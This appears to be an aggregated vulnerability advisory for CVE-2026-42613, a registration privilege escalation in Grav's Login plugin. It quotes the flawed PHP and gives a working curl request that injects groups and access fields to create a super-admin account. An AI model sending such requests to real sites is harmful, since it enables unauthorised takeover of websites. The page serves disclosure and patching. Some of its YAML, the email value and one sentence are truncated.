Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access
# Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access
The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.
This is a missing server-side validation issue — the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.
user/plugins/login/classes/Login.php, lines 246-306Login::register()Login::validateField(), lines 363-432In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:
```php
// Line 254-260
if (!isset($data['groups'])) {
$groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
if (count($groups) > 0) {
$data['groups'] = $groups;
}
}
// Line 262-267
if (!isset($data['access'])) {
$access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
if (count($access) > 0) {
$data['access']['site'] = $access;
}
}
```
If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker's values flow through unchanged.
Later (lines 298-303), these values are assigned directly to the user object:
```php
if (isset($data['groups'])) {
$user->groups = $data['groups']; // attacker-controlled
}
if (isset($data['access'])) {
$user->access = $data['access']; // attacker-controlled
}
$user->save();
```
The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.
Registration must be enabled with groups and/or access in the configured allowed fields:
```yaml
# user/config/plugins/login.yaml
user_registration:
enabled: true
fields:
```
This is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.
```bash
curl -X POST "${TARGET}/user_register" \
--data-urlencode "data[username]=attacker" \
--data-urlencode "data[password1]=Str0ngP@ss!" \
--data-urlencode "data[password2]=Str0ngP@ss!" \
--data-urlencode "data[email][email protected]" \
--data-urlencode "data[fullname]=Attacker" \
--data-urlencode "data[groups][]=admins" \
--data-urlencode "data[access][admin][login]=true" \
--data-urlencode "data[access][admin][super]=true" \
--data-urlencode "data[access][site][login]=true" \
--data-urlencode "form-nonce=${FORM_NONCE}" \
--data-urlencode "__form-name__=user_register" \
--data-urlencode "__unique_form_id__=${FORM_UID}"
```
user/accounts/attacker.yaml):```yaml
email: [email protected]
fullname: Attacker
groups:
access:
admin:
login: true
super: true
site:
login: true
hashed_password: ...
state: enabled
```
The attacker can then log into /admin with full super-admin privileges.
groups or access in allowed fields — a configuration the admin UI permits without warningJonathan Dersch at Hacking Cult GmbH https://hackingcult.de/
Fixed in grav-plugin-login 3.8.2 (commit [3d419a0](https://github.com/getgrav/grav-plugin-login/commit/3d419a0)). On the Grav 2.0 line, the login plugin is pinned at >=3.8.2 by admin2's [blueprints.yaml](https://github.com/getgrav/grav-plugin-admin2/blob/develop/blueprints.yaml), so sites running admin2 with Grav **2.0
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability low.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CVE-2026-42613 is classified as CWE-20: Improper Input Validation. The application accepts input without checking that it has the expected form, so malformed values reach code that assumes they are well formed.
CVE-2026-42613 is recorded against 2 packages.
Published on 5 May 2026 and last revised on 8 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
getgrav/grav has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-20: Improper Input Validation) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| getgrav/grav | — | 2.0.0-beta.2 |
| unknown | — | — |
References
Similar Threats
Exploit Protection
CVE-2026-42613 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-42613 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.